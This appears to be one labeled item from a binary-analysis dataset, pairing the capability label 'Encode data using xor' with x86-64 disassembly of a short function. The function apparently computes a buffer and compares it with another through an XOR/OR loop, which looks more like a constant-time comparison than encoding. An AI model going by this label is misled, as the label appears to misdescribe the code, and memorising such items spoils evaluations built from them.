Encode data using xor

Disassembly:
push rbx
sub rsp, 0x80
mov rax, qword [0x1400e6470]
xor rax, rsp
mov qword [rsp + 0x70], rax
mov eax, dword [rcx + 0xc]
mov rbx, rcx
cmp rax, qword [rsp + 0xb8]
jbe 0x14001907f
mov eax, 0xfffffff6
jmp 0x1400190e4
lea rax, [rsp + 0x30]
mov qword [rsp + 0x28], 0x40
mov qword [rsp + 0x20], rax
call fcn.140018ea0
test eax, eax
jne 0x1400190e4
mov r9d, dword [rbx + 0xc]
lea rax, [rsp + 0x30]
xor r8d, r8d
test r9, r9
je 0x1400190e2
mov r10, qword [rsp + 0xb0]
lea rcx, [rsp + 0x30]
sub r10, rcx
nop dword [rax]
movzx edx, byte [r10 + rax]
movzx ecx, byte [rax]
lea rax, [rax + 1]
xor edx, ecx
or r8d, edx
sub r9, 1
jne 0x1400190c0
test r8d, r8d
je 0x1400190e2
lea eax, [r9 - 0x1e]
jmp 0x1400190e4
xor eax, eax
mov rcx, qword [rsp + 0x70]
xor rcx, rsp
call fcn.140075860
add rsp, 0x80
pop rbx
ret